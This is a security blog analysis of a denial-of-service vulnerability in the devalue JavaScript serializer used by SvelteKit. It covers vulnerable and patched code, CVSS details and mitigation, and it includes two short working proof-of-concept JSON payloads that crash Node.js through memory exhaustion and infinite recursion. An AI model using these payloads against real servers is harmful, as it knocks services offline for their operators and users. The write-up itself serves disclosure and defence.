CVE-2026-22775

Devalue, Indeed: How a Simple Serializer Can Crash Your Svelte App

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 16, 2026·6 min read

Executive Summary (TL;DR)

The `devalue` library, a staple in the Svelte ecosystem for serializing JS data, failed to validate types during hydration. By passing a massive integer length instead of an `ArrayBuffer` reference to a TypedArray constructor, an attacker can trick the server into allocating gigabytes of memory instantly. A separate vector allows for infinite recursion via circular references. Both lead to a process crash (DoS).

A critical Denial of Service (DoS) vulnerability in the `devalue` library allows attackers to trigger massive memory allocations or stack overflows via malformed JSON input, crashing Node.js servers.

The Hook: Serializing the Unserializable

JavaScript Object Notation (JSON) is great, but it’s famously stupid. It doesn't know what a Map is, it chokes on Set, it panics at undefined, and if you show it a circular reference, it curls up into a ball and dies. Enter devalue. It’s the smarter, cooler cousin of JSON.stringify, designed to handle all the weird, messy bits of JavaScript data structures. It is heavily used in the Svelte ecosystem, particularly in SvelteKit, to transport server-side state to the client.

But here's the catch: when you build a tool that promises to reconstruct complex object graphs from simple strings, you are essentially writing an interpreter. And as any battle-scarred security researcher knows, parsers are where the demons live. If you trust the input string to tell you how to build the object in memory, you better be absolutely certain that the blueprint isn't asking you to build a skyscraper on a swamp.

The developers of devalue assumed that the input would mostly be well-formed data generated by their own library. But in the world of web security, assuming your input is "friendly" is like leaving your front door unlocked because you live in a "nice neighborhood." Spoiler alert: the internet is not a nice neighborhood.

The Flaw: JavaScript's Type Confusion Nightmare

The core of the vulnerability lies in how JavaScript handles TypedArray constructors (like Int8Array, Uint32Array, etc.). These constructors are polymorphic—they behave drastically differently depending on what you feed them. If you pass an existing ArrayBuffer, they create a view over that memory (cheap). If you pass a number or an object with a length property, they allocate new memory (expensive).

During the "unflattening" (hydration) phase, devalue reconstructs objects by looking up references in an array. When it encounters a TypedArray, it expects the referenced value to be a base64-decoded ArrayBuffer. The code looked something like this:

// Simplified vulnerable logic
const wrapper = new TypedArrayConstructor(hydrate(value[1]));

The flaw is obvious to a cynical eye: hydrate(value[1]) recursively resolves the argument. If an attacker controls the input, they can make value[1] resolve to anything. Instead of a nice, safe buffer, what if we provide a plain object like { "length": 2000000000 }?

JavaScript sees an object with a length, shrugs, and says, "Okay, you want a new Int8Array with 2 billion zeros? Coming right up!" The Node.js process immediately attempts to allocate 2GB of RAM. If the server doesn't have it (or if the attacker sends a few concurrent requests), the process hits an Out-of-Memory (OOM) condition and crashes hard.

The Code: A Tale of Two Functions

Let's look at the smoking gun. In the vulnerable versions (pre-5.6.2), the unflatten logic was entirely too trusting. It walked the dependency tree without checking if the branches were actually capable of supporting weight.

Here is the essence of the vulnerable hydration step:

// PRE-PATCH: Blindly trusting the index
case 'Int8Array':
case 'Uint8Array':
  // ... other types ...
  // value[1] is just an index pointer. We assume it points to a buffer.
  return new constructors[type](hydrate(value[1]));

And here is the fix implemented in version 5.6.2. The maintainers had to introduce strict type enforcement. They stopped assuming and started verifying. Notice the double-check:

// PATCHED: Trust, but verify
case 'Int8Array':
case 'Uint8Array':
  // ...
  const bufferIndex = value[1];
  // 1. Verify the target is actually labeled as an ArrayBuffer
  if (values[bufferIndex][0] !== 'ArrayBuffer') {
      throw new Error('Invalid data');
  }
  // 2. Hydrate it and proceed
  return new constructors[type](hydrate(bufferIndex));

Additionally, they patched a recursion bug. Previously, you could define a Uint8Array that pointed to itself as its own buffer. The parser would loop infinitely trying to resolve the buffer, blowing the stack. The fix introduced a hydrating Set to track active nodes in the graph, throwing an error if a cycle is detected during resolution.

The Exploit: Crashing Node.js with 40 Bytes

You don't need a complex fuzzing rig to exploit this. You just need to understand the data structure devalue uses. It flattens the object graph into an array. We can craft a JSON payload where index 0 is our malicious Int8Array, and index 1 is the payload that triggers the allocation.

Here is the "Allocation Attack" Proof of Concept:

// The Exploit Payload
const maliciousPayload = `[
  ["Int8Array", 1],
  { "length": 2147483647 }
]`;
 
import { parse } from 'devalue';
// BOOM. Process terminates with fatal error: JavaScript heap out of memory
parse(maliciousPayload);

When devalue parses this:

  1. It sees ["Int8Array", 1] at index 0.
  2. It tries to create new Int8Array(hydrate(1)).
  3. hydrate(1) returns the object at index 1: { length: 2147483647 }.
  4. new Int8Array({ length: ... }) triggers a massive allocation.

We can also trigger a Stack Overflow with even less code using a self-referential cycle:

// The Infinite Recursion Payload
const stackKiller = `[
  ["Uint8Array", 0]
]`;
 
// BOOM. Maximum call stack size exceeded.
parse(stackKiller);

In the recursion case, the Uint8Array at index 0 claims its buffer is at index 0. The parser dives into index 0 to resolve the buffer, sees it's a Uint8Array that needs a buffer from index 0, and down the rabbit hole we go.

The Impact: Availability is Security

Why does this matter? "It's just a crash," you might say. But in modern architecture, especially server-side rendering (SSR) contexts like SvelteKit, availability is king. If an unauthenticated attacker can crash your Node.js process with a single HTTP request containing a tiny JSON body, they can take your entire platform offline effortlessly.

Imagine a scenario where an application accepts user state via a cookie or a POST body that gets deserialized on the server. An attacker scripts a loop to send one of these packets every time the server restarts. Effectively, they create a permanent denial of service condition. No complex authentication bypass is needed; just a raw, brute-force resource exhaustion.

This vulnerability scores a CVSS 7.5 (High) because it requires zero privileges and no user interaction. It is a direct shot at the server's jugular.

The Mitigation: Patch and Sanitize

The fix is straightforward: Update devalue to version 5.6.2 or higher. If you are using SvelteKit, check your lockfiles and ensure the transitive dependency is updated. The patch adds the necessary guardrails to ensure that TypedArray inputs are actually backed by ArrayBuffers and that circular references don't turn into infinite loops.

Beyond this specific patch, this is a lesson in input validation. Never trust a serialization format to validate logic. If you are accepting complex serialized objects from the client, consider implementing size limits on the request body. While that won't stop the logic flaw (the exploit payload is tiny), it's good hygiene.

Additionally, consider using ulimit or container resource limits to ensure that if a process does try to eat all the RAM, it gets killed quickly and restarted without taking down the entire host machine.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

SvelteKit Applications (Server-Side Rendering)Node.js applications using `devalue` for serializationCustom state hydration logic relying on `devalue`

Affected Versions Detail

Product
Affected Versions
Fixed Version
devalue
Svelte
>= 5.1.0, < 5.6.25.6.2
AttributeDetail
CWE IDCWE-405 (Asymmetric Resource Consumption)
Attack VectorNetwork (Remote)
CVSS7.5 (High)
ImpactDenial of Service (DoS)
Exploit StatusPoC Available
Affected Componentdevalue.parse()
CWE-405
Asymmetric Resource Consumption (Amplification)

Asymmetric Resource Consumption (Amplification)

Vulnerability Timeline

Vulnerability discovered by researchers
2026-01-10
Fix committed to main branch
2026-01-15
Version 5.6.2 released to npm
2026-01-15
Public advisory (GHSA) published
2026-01-15

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.